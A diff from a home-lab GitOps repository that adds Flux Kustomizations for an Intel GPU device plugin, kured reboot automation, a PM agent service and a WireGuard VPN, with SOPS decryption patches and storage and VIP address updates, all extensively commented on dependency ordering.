+# The usual objection to this placement is the approval cost, and it does not apply: Gitea enforces
+# `required_approvals: 1` with `block_admin_merge_override: true` on EVERY PR here regardless of
+# path, and authors cannot self-approve. So this change needed the operator's approval either way;
+# touching clusters/** costs nothing extra and buys a blast radius of exactly one component.
+#
+# dependsOn: [cilium], WHICH IS THE MINIMUM AND ALSO THE EARLIEST
+#
+# Not platform-config (what headlamp/crafty/homepage/oauth2-proxy use) — those are leaf UIs that
+# genuinely need Keycloak + wildcard TLS + split-horizon DNS + Gateway. This plugin needs none of
+# it. It never uses the network and never talks to the API server; it talks to the local kubelet
+# over a unix socket. Its only real prerequisite is a working CNI, so its pod can get a sandbox at
+# all, and `cilium` already depends on `flux-system` (the root Kustomization that applies the
+# cluster-vars ConfigMap this one substitutes from), so that edge is transitively satisfied too.
+#
+# Depending on `cilium` rather than `platform` also gets the resource advertised EARLIEST — this
+# reconciles in parallel with the `platform` tier instead of behind all eleven of its components.
+# That matters on a cold start once the consumer PR lands: a Plex pod requesting a resource no node
+# advertises is Unschedulable, and apps-wave-0 is wait:true. Reconciling early shrinks that window
+# instead of widening it. It is not a GUARANTEE — see the ordering note below, which is a real
+# constraint on the next PR and not a formality.
+#
+# Kyverno (in `platform`) is deliberately NOT a dependency: every policy that could match this
+# workload is scoped to namespaces labelled app-namespace=true, and this namespace is labelled
+# "false" (platform/intel-gpu-plugin/namespace.yaml). So there is no admission race to lose.
+#
+# wait: true — A HEALTH SIGNAL, NOT A GATE. This is the one place this component departs from the
+# headlamp/crafty leaf template, and the departure is deliberate. Those run wait:false because a
+# leaf UI can be legitimately not-Ready for a long time during a cold start while it waits on
+# Keycloak/DNS/TLS, so its health is not a useful signal. This DaemonSet has no such dependency: it
+# reads sysfs and opens a socket, so on healthy nodes it should be Ready in seconds, and
+# not-Ready genuinely means BROKEN. wait:true turns `flux get kustomization intel-gpu-plugin` into
+# a one-line answer to "did the plugin come up on all three nodes", which is exactly the question
+# the operator must answer before the consumer PR may merge.
+#
+# NOTHING IN THE GRAPH dependsOn THIS, so wait:true gates nothing — the blast radius of an unhealthy
+# plugin is this Kustomization's own Ready condition and nothing else. Anyone later adding
+# `dependsOn: [intel-gpu-plugin]` is choosing to make plugin health gate their thing; for the app
+# waves that would hand a device plugin the power to stall every app, which is the thing this file
+# exists to prevent. Think before adding that edge.
+#
+# ORDERING — DO NOT REORDER THE STACK. The renderer change (catalog/render.py emitting
+# `gpu.intel.com/i915: 1` for `hardware.gpu: intel-quicksync` instead of the hostPath) must NOT
+# land until this plugin is merged AND confirmed advertising the resource on all three nodes. If
+# the renderer requests a resource no node advertises, the Plex pod is Unschedulable; apps-wave-0 is
+# wait:true and apps-wave-1 dependsOn it, so that stalls the whole app tier — turning today's silent
+# no-op into a real outage. This PR's only job is to make the resource exist.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: intel-gpu-plugin
+  namespace: flux-system
+spec:
+  # Static vendored manifests with nothing to re-render; kustomize-controller is source-triggered,
+  # so this is only the drift-correction floor.
+  interval: 10m
+  retryInterval: 2m
+  # 10m, not the 5m the `platform` tier uses: a 3-node DaemonSet rollout under `wait: true` can
+  # exceed 5m on a cold start (image pull on three nodes), and the Cilium split-out comment calls
+  # out that exact mismatch as one of its reasons for leaving the shared tier.
+  timeout: 10m
+  prune: true
+  # See the header: a health SIGNAL for a component nothing depends on, not a gate.
+  wait: true
+  dependsOn:
+    - name: cilium   # the CNI — the only real prerequisite; transitively gives us flux-system too
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./platform/intel-gpu-plugin
+  # Retained for parity with every other tier / future overlay knobs. This component references no
+  # ${VARS} today, and its manifests contain no `$` literals for envsubst to eat (unlike
+  # clusters/base/runbooks.yaml, which omits substitution for exactly that reason).
+  postBuild:
+    substituteFrom:
+      - kind: ConfigMap
+        name: cluster-vars
+  # No SOPS decryption patch: this component carries no Secret, so clusters/dev adds nothing for it
+  # (same as homepage/runbooks, unlike headlamp/crafty/oauth2-proxy/backup).

clusters/base/kured.yaml

@@ -0,0 +1,98 @@
+---
+# Flux Kustomization: kured (Kubernetes Reboot Daemon) — reconciles ./platform/kured.
+# Performs the cordon / drain / reboot / uncordon of a node that has a pending OS reboot, strictly
+# one node at a time, inside a nightly window, gated on Longhorn volume health. Design rationale,
+# every tuned value, and the honest list of what is NOT mitigated: platform/kured/helmrelease.yaml.
+#
+# WHY ITS OWN KUSTOMIZATION, AND NOT ONE LINE IN platform/kustomization.yaml
+#
+# The same argument the Cilium split-out recorded in platform/kustomization.yaml and intel-gpu-plugin
+# reused, except the consequence is worse here than for either of them:
+#
+#   * `platform` is `wait: true` over twelve-plus components, so its Ready condition cannot tell you
+#     "the reboot daemon is wedged" from "longhorn is slow".
+#   * The only emergency valve would be `flux suspend kustomization platform` — freezing storage,
+#     TLS, DNS, ingress, monitoring, Keycloak and KubeVirt in order to stop touching a DaemonSet.
+#   * That tier's 10m interval / 5m timeout are called out there as WRONG for a 3-node DaemonSet
+#     rollout. This is a 3-node DaemonSet rollout.
+#   * And `platform` gates platform-config, which gates apps-wave-0 (wait:true), which gates
+#     apps-wave-1. A reboot daemon that failed to go healthy inside that tier would stall EVERY
+#     APPLICATION in the cluster on "dependency not ready". A component added to make maintenance
+#     safer must not acquire the ability to cause an outage; that trade is the whole argument.
+#
+# dependsOn: [platform] — AND THIS ONE IS A REAL EDGE, NOT CONVENTION
+#
+# Not `cilium` (what intel-gpu-plugin uses) and not `platform-config` (what the leaf UIs use). It is
+# `platform`, for two independent reasons:
+#
+#   1. CRD ORDERING (F-MON1). platform/kured ships a PrometheusRule, and the chart generates a
+#      ServiceMonitor. Both are CRs whose CRDs (monitoring.coreos.com) are installed by
+#      kube-prometheus-stack INSIDE the `platform` tier. Flux dry-runs every object in a pass before
+#      applying any of them, so a pass containing an unknown kind ABORTS — the failure that made the
+#      CDI StorageProfiles a true deadlock on prod on 2026-09-05 (see
+#      clusters/base/platform-config-cdi.yaml). Depending on `platform` guarantees the CRDs exist
+#      before this pass is attempted.
+#   2. FUNCTIONAL PREREQUISITE. kured's reboot gate QUERIES Prometheus
+#      (`prometheusUrl` in the HelmRelease). Prometheus lives in platform/monitoring. If kured ran
+#      first it would get connection errors, treat the gate as unevaluable and skip every reboot —
+#      the correct fail-safe direction, but silent. Longhorn, whose volume health IS the gate, is
+#      also in that tier.
+#
+# It does NOT need platform-config: no Keycloak, no TLS, no split-horizon DNS, no Gateway, no
+# HTTPRoute. kured serves no HTTP to users.
+#
+# wait: true — A HEALTH SIGNAL, NOT A GATE. Following intel-gpu-plugin rather than the leaf-UI
+# template. A leaf UI is legitimately not-Ready for long stretches of a cold start while it waits on
+# Keycloak and DNS, so its health is uninformative; kured has no such dependency — it is a DaemonSet
+# that opens a socket and watches a file, so on healthy nodes it is Ready in seconds and not-Ready
+# genuinely means BROKEN. This turns `flux get kustomization kured` into a one-line answer to "is
+# reboot automation live on all three nodes", which is the question the operator must be able to
+# answer before trusting a kernel upgrade to it.
+#
+# NOTHING IN THE GRAPH dependsOn THIS, so wait:true gates nothing — the blast radius of an unhealthy
+# kured is this Kustomization's own Ready condition. Do not add `dependsOn: [kured]` anywhere: that
+# would hand a node-rebooting DaemonSet the power to stall whatever depends on it, which is precisely
+# what the placement above exists to prevent.
+#
+# prune: true is safe and deliberate. If this Kustomization is deleted, kured's DaemonSet goes with
+# it and reboots simply stop happening — nodes are left uncordoned and running. The one caveat is
+# that pruning mid-reboot would leave a node CORDONED with no daemon to uncordon it; that is a
+# `kubectl uncordon` away and is covered in runbooks/node-reboot-automation.md.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: kured
+  namespace: flux-system
+spec:
+  # A HelmRelease plus five static manifests, nothing to re-render; kustomize-controller is
+  # source-triggered, so this is only the drift-correction floor.
+  interval: 10m
+  retryInterval: 2m
+  # 10m, not the 5m the `platform` tier uses: a 3-node DaemonSet rollout under `wait: true` can
+  # exceed 5m on a cold start (image pull on three nodes), which is one of the reasons the Cilium
+  # split-out gave for leaving that tier.
+  timeout: 10m
+  prune: true
+  # See the header: a health SIGNAL for a component nothing depends on, not a gate.
+  wait: true
+  dependsOn:
+    - name: platform   # monitoring CRDs + Prometheus + Longhorn; see the header, this is load-bearing
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./platform/kured
+  # REQUIRED, not boilerplate. platform/kured/alerts.yaml renders `${BASE_DOMAIN}` into the
+  # `runbook_url` annotation of all three rules. Without this block that token becomes the EMPTY
+  # STRING and the Kustomization still reports Ready — Flux's substitution fails OPEN — so every
+  # alert would ship a dead link to `https:///runbooks/node-reboot-automation`. The gate stage
+  # `flux-postbuild-substitution` asserts the converse (a rendered token implies this block), and
+  # BASE_DOMAIN is declared in clusters/base/cluster-vars.yaml.
+  #
+  # Nothing else in this path contains `${...}` or a bare `$`: the HelmRelease's alertFilterRegexp is
+  # a plain anchored alternation, and there are no shell snippets anywhere in the component — which
+  # is deliberate, because envsubst would eat a braced shell variable and `$$` would trip the
+  # dollar-collapse assertion in the same check.
+  postBuild:
+    substituteFrom:
+      - kind: ConfigMap
+        name: cluster-vars

clusters/base/kustomization.yaml

@@ -12,6 +12,15 @@ resources:
   # interval/timeout, and `flux suspend kustomization cilium` as an emergency valve that does not
   # freeze the other eleven platform components. See clusters/base/cilium.yaml.
   - cilium.yaml          # Flux Kustomization -> ./platform/cilium (dependsOn flux-system, wait:true)
+  # Intel GPU device plugin — its OWN Kustomization (dependsOn cilium, wait:true), NOT a line in
+  # platform/kustomization.yaml. Same reasoning as the Cilium split-out, applied to a leaf: inside
+  # that wait:true tier a wedged 3-node DaemonSet would be indistinguishable from eleven unrelated
+  # components AND would stall platform-config + every apps wave on "dependency not ready" — so a
+  # component added to fix a silent no-op (Plex software transcoding) could cause a real outage.
+  # wait:true here is a HEALTH SIGNAL, not a gate: nothing in the graph dependsOn it.
+  # It advertises `gpu.intel.com/i915`; the renderer change that REQUESTS that resource must land
+  # strictly later. See clusters/base/intel-gpu-plugin.yaml.
+  - intel-gpu-plugin.yaml # Flux Kustomization -> ./platform/intel-gpu-plugin (dependsOn cilium)
   - platform.yaml        # Flux Kustomization -> ./platform (CONTROLLERS: HelmReleases / CRDs)
   - platform-config.yaml # Flux Kustomization -> ./platform-config (CONFIGS: CRs; dependsOn platform)
   # SECOND-ORDER CDI configs — CRs whose CRD is created by a controller AT RUNTIME, not by any
@@ -62,4 +71,39 @@ resources:
   # controller must NEVER gate the platform chain; same non-gating rationale as headlamp/oauth2-proxy.
   # Carries velero-cloud.sops.yaml, so clusters/dev adds a SOPS decryption patch for it (by name).
   - backup.yaml          # Flux Kustomization -> ./platform/velero (dependsOn platform-config)
+  # WireGuard remote-access VPN (north-south INGRESS, udp/51820) — POST-platform tier
+  # (dependsOn platform-config, wait:false). NOT the same thing as platform/vpn-egress, which sends
+  # pods OUT through PIA; this lets remote CLIENTS IN. Non-gating is load-bearing rather than
+  # conventional here: its DaemonSet cannot start until the operator creates the out-of-band
+  # `wg-server-key` Secret, so in the gating `platform` tier an unfinished manual step would have
+  # stalled every apps wave. Carries no SOPS secret, so neither overlay adds a decryption patch.
+  - vpn-ingress.yaml     # Flux Kustomization -> ./platform/vpn-ingress (dependsOn platform-config)
+  # Cloudflare Tunnel connector (north-south INGRESS from the Cloudflare edge) — POST-platform tier
+  # (dependsOn platform-config, wait:false), and NOTHING dependsOn it. Non-gating is load-bearing,
+  # as for vpn-ingress: the Deployment cannot become Ready until the operator enrols the tunnel
+  # (runbooks/cloudflare-tunnel.md), so in a gating tier an unfinished manual step — or a revoked
+  # credential later — would stall every apps wave. Carries cloudflared-credentials.sops.yaml, so
+  # both overlays add a SOPS decryption patch for it (by name). See clusters/base/cloudflared.yaml.
+  - cloudflared.yaml     # Flux Kustomization -> ./platform/cloudflared (dependsOn platform-config)
+  # PM agent — reads Gitea issues and runs one worker agent per assignment that authors a
+  # change, gates it and opens a pull request. POST-APP tier (dependsOn apps-wave-0,
+  # wait:false): what it needs is GITEA, not Keycloak or the Gateway, and it must never gate
+  # anything — it CrashLoops by design while its credentials are still placeholders. Carries
+  # pm-agent-credentials.sops.yaml, so both overlays add a SOPS decryption patch for it (by
+  # name). See clusters/base/pm-agent.yaml and platform/pm-agent/README.md.
+  - pm-agent.yaml        # Flux Kustomization -> ./platform/pm-agent (dependsOn apps-wave-0)
+  # kured (Kubernetes Reboot Daemon) — its OWN Kustomization (dependsOn platform, wait:true), NOT a
+  # line in platform/kustomization.yaml. Same reasoning as the Cilium and intel-gpu-plugin
+  # split-outs, with a sharper consequence: `platform` gates platform-config and every apps wave, so
+  # a wedged reboot DaemonSet placed in that wait:true tier could stall every application in the
+  # cluster — a component added to make maintenance SAFER must not be able to cause an outage.
+  # wait:true here is a HEALTH SIGNAL, not a gate: nothing dependsOn it, and nothing should.
+  # The `platform` edge is load-bearing rather than conventional — it supplies the
+  # monitoring.coreos.com CRDs this component's PrometheusRule/ServiceMonitor need (F-MON1), and
+  # Prometheus itself, which kured QUERIES before every reboot to gate on Longhorn volume health.
+  # It reboots a node only when /var/run/reboot-required exists, which on these nodes only a
+  # deliberate operator kernel upgrade creates — the human gate is the sentinel, not the daemon.
+  # See clusters/base/kured.yaml and platform/kured/helmrelease.yaml.
+  - kured.yaml           # Flux Kustomization -> ./platform/kured (dependsOn platform)
+  - buildkit.yaml        # Flux Kustomization -> ./platform/buildkit (dependsOn platform)
   - cluster-vars.yaml    # overlay knob surface (base defaults)

clusters/base/pm-agent.yaml

@@ -0,0 +1,57 @@
+---
+# Flux Kustomization: the PM agent service — reconciles ./platform/pm-agent.
+#
+# POST-APP TIER (dependsOn apps-wave-0). What this service actually depends on is GITEA: the
+# dispatcher authenticates to it at startup, reads issue threads from it, and every worker
+# clones and pushes to it. Gitea is in apps-wave-0, so that is the dependency — not
+# platform-config, which brings up the Keycloak realm, the wildcard certificate, the Gateway
+# and the L2 pool. This service has no UI, serves no traffic, takes no ingress and holds no
+# certificate, so none of those are prerequisites and claiming them would be a lie that
+# delays its reconcile behind four things it does not use.
+#
+# NON-GATING (wait:false), and here that is not merely prudent — the pod is EXPECTED to be
+# unhealthy for a while:
+#   * the committed credentials are PLACEHOLDERS, so until the operator replaces them the
+#     dispatcher fails its Gitea authentication at startup and CrashLoops, by design
+#     (platform/pm-agent/pm-agent-credentials.sops.yaml.example);
+#   * the image digest is likewise a placeholder until the operator pushes the image, so
+#     before that the pod cannot even pull.
+# Either of those inside a wait:true tier would stall everything downstream of it. wait:false
+# guarantees this service's health can NEVER gate anything, even if some future resource is
+# mistakenly pointed dependsOn it. Same non-gating leaf rationale as
+# headlamp/homepage/crafty/backup — with a stronger reason than any of them.
+#
+# PRUNE: true. The whole namespace is disposable — the dispatcher keeps no durable state (the
+# Gitea issue thread is its state) and worker Jobs are ephemeral by construction. So removing
+# this service from git really should remove it from the cluster, with nothing to orphan.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: pm-agent
+  namespace: flux-system
+spec:
+  interval: 10m
+  retryInterval: 2m
+  timeout: 5m
+  prune: true
+  wait: false
+  dependsOn:
+    - name: apps-wave-0   # Gitea: the repository this service reads issues from and pushes to
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./platform/pm-agent
+  # cluster-vars is substituted for parity with every other tier. NOTE for anyone editing
+  # platform/pm-agent/: envsubst runs over the WHOLE rendered manifest, comments included, so
+  # a `${...}` meant for a shell would be replaced with the empty string before the container
+  # starts (the hazard catalog/README.md documents at length — it silently killed gitea's and
+  # nextcloud's OIDC registration for days). Nothing under platform/pm-agent/ uses a `${}`
+  # token today, and the two scripts that DO contain shell live in the image, not in a
+  # manifest, which is one more reason they are baked in rather than mounted from a ConfigMap.
+  postBuild:
+    substituteFrom:
+      - kind: ConfigMap
+        name: cluster-vars
+  # SOPS decryption for pm-agent-credentials.sops.yaml is layered per-environment by the
+  # overlay (clusters/prod and clusters/dev patch THIS Kustomization by name), identical to
+  # crafty/headlamp/oauth2-proxy/backup.

clusters/base/vpn-ingress.yaml

@@ -0,0 +1,59 @@
+---
+# Flux Kustomization: WireGuard remote-access VPN — reconciles ./platform/vpn-ingress.
+#
+# POST-PLATFORM TIER (dependsOn platform-config), NON-GATING (wait:false). Not a line in
+# platform/kustomization.yaml, for the standard reason plus one specific to this component:
+#
+#   * STANDARD: a leaf must never sit in the gating `platform` tier. While `platform` is not-Ready
+#     NOTHING downstream reconciles — the incident behind the headlamp/oauth2-proxy/homepage moves
+#     (DECISIONS-LOG: "Headlamp gating stall").
+#   * SPECIFIC, AND THE REASON THIS IS NOT A JUDGEMENT CALL: this DaemonSet cannot start until the
+#     operator replaces the `REPLACE-ME` placeholder in platform/vpn-ingress/wg-server-key.sops.yaml
+#     with a real key (runbooks/vpn-remote-access.md step 2). That is the correct fail-closed state — an unenrolled VPN must not come up — but in
+#     the gating tier it would have been a self-inflicted platform-wide outage ON MERGE, with the
+#     cause (a missing manual step) invisible from any Flux condition.
+#
+# WHY dependsOn platform-config AND NOT cilium. This component needs no Gateway, no TLS cert, no
+# Keycloak and no LB-IPAM pool — it has no HTTPRoute and no LoadBalancer Service, and hostNetwork
+# means it does not even need a Cilium endpoint. It could legally reconcile much earlier. It is
+# pinned behind platform-config anyway so that the ONE thing remote clients actually consume
+# through it — split-horizon DNS and the shared Gateway — exists by the time the tunnel does.
+# A tunnel that comes up before the things on the far side of it is a support call, not a feature.
+#
+# wait:false: nothing in the graph dependsOn this, and its pods are legitimately not-Ready whenever
+# the server key is absent or the `wireguard` kernel module has not been loaded on a node. Neither
+# condition should be able to gate anything else, even if a future resource is mistakenly pointed
+# at it.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: vpn-ingress
+  namespace: flux-system
+spec:
+  interval: 10m
+  retryInterval: 2m
+  timeout: 5m
+  prune: true
+  wait: false
+  dependsOn:
+    - name: platform-config
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./platform/vpn-ingress
+  # REQUIRED, not boilerplate: platform/vpn-ingress/daemonset.yaml renders ${WG_CLIENT_CIDR} into
+  # the config-assembly script. Without this block that token becomes the EMPTY STRING and the
+  # Kustomization still reports Ready (Flux's substitution fails OPEN — ci:
+  # flux-postbuild-substitution), leaving an initContainer that derives a server address of ".1/"
+  # and a MASQUERADE rule with no source. Both fail loudly at pod start, but the Kustomization
+  # would look healthy.
+  postBuild:
+    substituteFrom:
+      - kind: ConfigMap
+        name: cluster-vars
+  # SOPS decryption is layered per-environment by the overlay (clusters/dev and clusters/prod each
+  # patch THIS Kustomization by name), identical to headlamp/crafty/velero — this path carries
+  # platform/vpn-ingress/wg-server-key.sops.yaml, the WireGuard server private key. The `sops-age`
+  # Secret is created out of band and referenced by NAME only. Without the overlay patch the Secret
+  # applies cleanly full of ENC[...] and only the tunnel is broken, so the patch is as load-bearing
+  # as the encrypted file itself.

clusters/dev/kustomization.yaml

@@ -122,6 +122,60 @@ patches:
           provider: sops
           secretRef:
             name: sops-age
+  # vpn-ingress (the WireGuard remote-access VPN, clusters/base/vpn-ingress.yaml) carries
+  # platform/vpn-ingress/wg-server-key.sops.yaml — the WireGuard SERVER private key, the one
+  # secret in that component. Without this stanza kustomize hands Flux the raw ciphertext and the
+  # Secret applies full of ENC[...]: the APPLY SUCCEEDS and every Flux condition stays green, and
+  # the only symptom is a VPN that no client can handshake with. The DaemonSet's init container
+  # validates the value with `wg pubkey` specifically so that state is a named CrashLoop instead.
+  # The `sops-age` Secret is out-of-band (name only).
+  - patch: |-
+      apiVersion: kustomize.toolkit.fluxcd.io/v1
+      kind: Kustomization
+      metadata:
+        name: vpn-ingress
+        namespace: flux-system
+      spec:
+        decryption:
+          provider: sops
+          secretRef:
+            name: sops-age
+  # cloudflared (the Cloudflare Tunnel connector, clusters/base/cloudflared.yaml) carries
+  # platform/cloudflared/cloudflared-credentials.sops.yaml — the tunnel credentials JSON, the one
+  # secret in that component. Without this stanza the Secret applies full of ENC[...]: the APPLY
+  # SUCCEEDS, the Kustomization stays Ready, and the only symptom is a connector that cannot
+  # authenticate to the edge (CloudflaredTunnelDown fires). The `sops-age` Secret is out-of-band
+  # (name only).
+  - patch: |-
+      apiVersion: kustomize.toolkit.fluxcd.io/v1
+      kind: Kustomization
+      metadata:
+        name: cloudflared
+        namespace: flux-system
+      spec:
+        decryption:
+          provider: sops
+          secretRef:
+            name: sops-age
+  # pm-agent (the Program Manager agent service, clusters/base/pm-agent.yaml) carries
+  # pm-agent-credentials.sops.yaml — the Gitea write token for the dedicated non-admin bot
+  # account and the Anthropic subscription token from `claude setup-token`. Without this
+  # stanza kustomize hands Flux the raw SOPS document and the Secret applies full of
+  # ciphertext: the APPLY SUCCEEDS, and the only symptom is a dispatcher that cannot
+  # authenticate to Gitea — so this stanza is as load-bearing as the file it decrypts (same
+  # silent-failure shape as the apps-vms note below/above). The `sops-age` Secret is created
+  # out-of-band (name only).
+  - patch: |-
+      apiVersion: kustomize.toolkit.fluxcd.io/v1
+      kind: Kustomization
+      metadata:
+        name: pm-agent
+        namespace: flux-system
+      spec:
+        decryption:
+          provider: sops
+          secretRef:
+            name: sops-age
   # apps-vms (the KubeVirt VM tier, clusters/base/apps-vms.yaml) gained its FIRST encrypted Secret
   # on 2026-09-14: apps/vms/unifi/unifi-uos-installer.sops.yaml, the operator's UOS installer URL,
   # which 30-virtualmachine.yaml mounts into the guest as a disk. Without this stanza kustomize
@@ -242,15 +296,15 @@ patches:
       - op: replace
         path: /data/CRAFTY_L4_VIP
         value: "192.168.1.55"
-      # Bulk (external NFS) storage host: the Proxmox host itself, on the SAME LAN as dev's nodes
-      # (192.168.1.40/.41/.42), which already hold an NFS export from it (/mnt/Storage/k8s-volumes).
-      # Restated verbatim rather than inherited, per this overlay's "supply every knob" convention.
-      # Dev is therefore the environment in which the bulk manifests can actually be VALIDATED
-      # end-to-end before prod's network path exists — provided the additive `zfs set sharenfs=`
-      # change described in docs/BULK-NFS-STORAGE.md is applied for the dev node addresses.
+      # Bulk (external NFS) storage host. THIS VALUE IS INERT — dev is decommissioned, its nodes
+      # (192.168.1.40/.41/.42) no longer exist, and the Proxmox host this used to name (192.168.1.9)
+      # went with the pools it held. It is restated per this overlay's "supply every knob"
+      # convention, not because anything consumes it. It carries the real address so that no file
+      # in the tree renders a host that is gone; it has NOT been proven from a dev node, because
+      # there is no dev node to prove it from.
       - op: replace
         path: /data/BULK_NFS_SERVER
-        value: "192.168.1.9"
+        value: "192.168.2.30"
       # Off-cluster backup target: the on-Proxmox MinIO (plain HTTP, path-style) that every CNPG
       # barmanObjectStore and Velero's backupStorageLocation write to.
       #

clusters/prod/kustomization.yaml

@@ -113,6 +113,60 @@ patches:
           provider: sops
           secretRef:
             name: sops-age
+  # vpn-ingress (the WireGuard remote-access VPN, clusters/base/vpn-ingress.yaml) carries
+  # platform/vpn-ingress/wg-server-key.sops.yaml — the WireGuard SERVER private key, the one
+  # secret in that component. Without this stanza kustomize hands Flux the raw ciphertext and the
+  # Secret applies full of ENC[...]: the APPLY SUCCEEDS and every Flux condition stays green, and
+  # the only symptom is a VPN that no client can handshake with. The DaemonSet's init container
+  # validates the value with `wg pubkey` specifically so that state is a named CrashLoop instead.
+  # The `sops-age` Secret is out-of-band (name only).
+  - patch: |-
+      apiVersion: kustomize.toolkit.fluxcd.io/v1
+      kind: Kustomization
+      metadata:
+        name: vpn-ingress
+        namespace: flux-system
+      spec:
+        decryption:
+          provider: sops
+          secretRef:
+            name: sops-age
+  # cloudflared (the Cloudflare Tunnel connector, clusters/base/cloudflared.yaml) carries
+  # platform/cloudflared/cloudflared-credentials.sops.yaml — the tunnel credentials JSON, the one
+  # secret in that component. Without this stanza the Secret applies full of ENC[...]: the APPLY
+  # SUCCEEDS, the Kustomization stays Ready, and the only symptom is a connector that cannot
+  # authenticate to the edge (CloudflaredTunnelDown fires). The `sops-age` Secret is out-of-band
+  # (name only).
+  - patch: |-
+      apiVersion: kustomize.toolkit.fluxcd.io/v1
+      kind: Kustomization
+      metadata:
+        name: cloudflared
+        namespace: flux-system
+      spec:
+        decryption:
+          provider: sops
+          secretRef:
+            name: sops-age
+  # pm-agent (the Program Manager agent service, clusters/base/pm-agent.yaml) carries
+  # pm-agent-credentials.sops.yaml — the Gitea write token for the dedicated non-admin bot
+  # account and the Anthropic subscription token from `claude setup-token`. Without this
+  # stanza kustomize hands Flux the raw SOPS document and the Secret applies full of
+  # ciphertext: the APPLY SUCCEEDS, and the only symptom is a dispatcher that cannot
+  # authenticate to Gitea — so this stanza is as load-bearing as the file it decrypts (same
+  # silent-failure shape as the apps-vms note below/above). The `sops-age` Secret is created
+  # out-of-band (name only).
+  - patch: |-
+      apiVersion: kustomize.toolkit.fluxcd.io/v1
+      kind: Kustomization
+      metadata:
+        name: pm-agent
+        namespace: flux-system
+      spec:
+        decryption:
+          provider: sops
+          secretRef:
+            name: sops-age
   # apps-vms (the KubeVirt VM tier, clusters/base/apps-vms.yaml) gained its FIRST encrypted Secret
   # on 2026-09-14: apps/vms/unifi/unifi-uos-installer.sops.yaml, the operator's UOS installer URL,
   # which 30-virtualmachine.yaml mounts into the guest as a disk. Without this stanza kustomize
@@ -476,6 +530,26 @@ patches:
       - op: replace
         path: /data/PIHOLE_DNS_VIP
         value: "192.168.2.23"
+      # Plex's remote-access listener VIP — raw tcp/32400 for REMOTE Plex clients
+      # (apps/wave-0/plex-remote.yaml). 192.168.2.24 is the NEXT FREE address in the prod pool
+      # 192.168.2.20-.30, verified live 2026-10-03: the CiliumLoadBalancerIPPool `default-pool`
+      # reported IPsTotal 11 / IPsUsed 4 / IPsAvailable 7, and the only four allocations are .20
+      # (cilium-gateway-shared), .21 (unifi-l4-tcp/-udp), .22 (crafty-l4-tcp/-udp) and .23
+      # (pihole-dns-tcp/-udp). It is inside the pool block the operator already asserted sits outside
+      # the SOHO router's DHCP scope, and it is not a node address (.10/.11/.12) or the
+      # control-plane VIP (.9).
+      #
+      # UNLIKE .23, THIS ONE IS ALSO A WAN PORT-FORWARD TARGET. The router forwards WAN tcp/32400
+      # here, by hand, off-repo — so changing this value is a two-place edit and the router is the
+      # half that CI cannot check. runbooks/plex-remote-access.md is the procedure.
+      #
+      # NOT ARP-PROBED. .23 was verified free with `arping` from a LAN host before it was claimed;
+      # for .24 only the in-cluster pool accounting above was checked, so an off-cluster squatter on
+      # this address would not have been caught. Probe before trusting it if remote access comes up
+      # with a conflict.
+      - op: replace
+        path: /data/PLEX_L4_VIP
+        value: "192.168.2.24"
       # The prod flat LAN. This is the 192.168.2.0/24 segment the SOHO ROUTER at 192.168.2.1 owns —
       # NOT pfSense's 192.168.1.0/24, which is a different network and not in the LAN-DNS path.
       # It scopes the ingress allow for PiHole's DNS listener to LAN clients only.
@@ -483,60 +557,48 @@ patches:
         path: /data/LAN_CIDR
         value: "192.168.2.0/24"
       # ------------------------------------------------------------------------------------------
-      # BULK (EXTERNAL NFS) STORAGE HOST — *** NOT YET DECIDED. THIS PLACEHOLDER IS LOAD-BEARING. ***
+      # BULK (EXTERNAL NFS) STORAGE HOST — the TrueNAS at 192.168.2.30.
       # ------------------------------------------------------------------------------------------
       # Backs every `class: bulk` volume: the 8.33 T media library (Storage/plex — plex, sonarr,
-      # radarr) and the 270 G legacy Nextcloud archive (Storage/nextcloud).
+      # radarr, qbittorrent) and the 270 G legacy Nextcloud archive (Storage/nextcloud).
       #
-      # THE STORAGE HOST IS NOT REACHABLE FROM PROD AT ALL RIGHT NOW. It has one interface,
-      # vmbr0 192.168.1.9/24, on pfSense's LAN; prod's nodes are on 192.168.2.0/24, pfSense's WAN.
-      # 22 and 8006 answer from prod only because pfSense port-forwards them via 192.168.2.102;
-      # 2049 and 111 do not. Opening that path is an OPERATOR decision, and the two candidate
-      # outcomes give DIFFERENT values here:
-      #     port-forward 192.168.2.102:2049 -> 192.168.1.9:2049   =>  "192.168.2.102"
-      #     a WAN->LAN route to 192.168.1.0/24                    =>  "192.168.1.9"
-      # Guessing either one authors a prod cluster that mounts nothing, or — worse, if the guess
-      # ever became reachable — mounts something unintended. So it stays a placeholder.
+      # THIS WAS THE REPO'S ONE LOAD-BEARING PLACEHOLDER, AND THE REASON IT COULD BE IS NOW GONE.
+      # The datasets lived on a Proxmox host with a single interface on pfSense's LAN
+      # (192.168.1.9), which prod could reach only through a DNAT at 192.168.2.102 — so the correct
+      # value here depended on an undecided operator choice, and guessing it would have authored a
+      # cluster that mounts nothing. Both pools were physically moved onto a standalone TrueNAS at
+      # 192.168.2.30, prod's OWN /24. No crossing to arrange, no candidates to choose between.
+      # Measured 2026-10-07: 192.168.2.102:2049 no longer answers; 192.168.2.30:2049 and :111 do.
       #
-      # WHICH PORTS THE DECISION MUST OPEN: exactly ONE, tcp/2049. The PVs mount nfsvers=4.1, and
-      # NFSv4 carries mount and lock in-protocol — no rpcbind/111, no mountd, no statd. Choosing v4
-      # over v3 was in part this decision's cost: v3 would have needed four ports and three of them
-      # on ephemeral numbers.
-      #
-      # WHAT THE EXPORT MUST ALLOW IS ALREADY SETTLED, and it is the same under BOTH outcomes.
-      # Measured 2026-09-07 from this workstation (192.168.2.132) through the existing port-forward:
-      # the storage host logged the connection as coming FROM 192.168.2.132, not from a pfSense LAN
-      # address (`ss -tn` peer 192.168.2.132, and the host's only route off-LAN is its default via
-      # 192.168.1.1). pfSense DNATs WITHOUT source NAT, so the NFS server will see prod's REAL node
-      # addresses either way. The additive `zfs set sharenfs=` values are in docs/BULK-NFS-STORAGE.md.
-      #
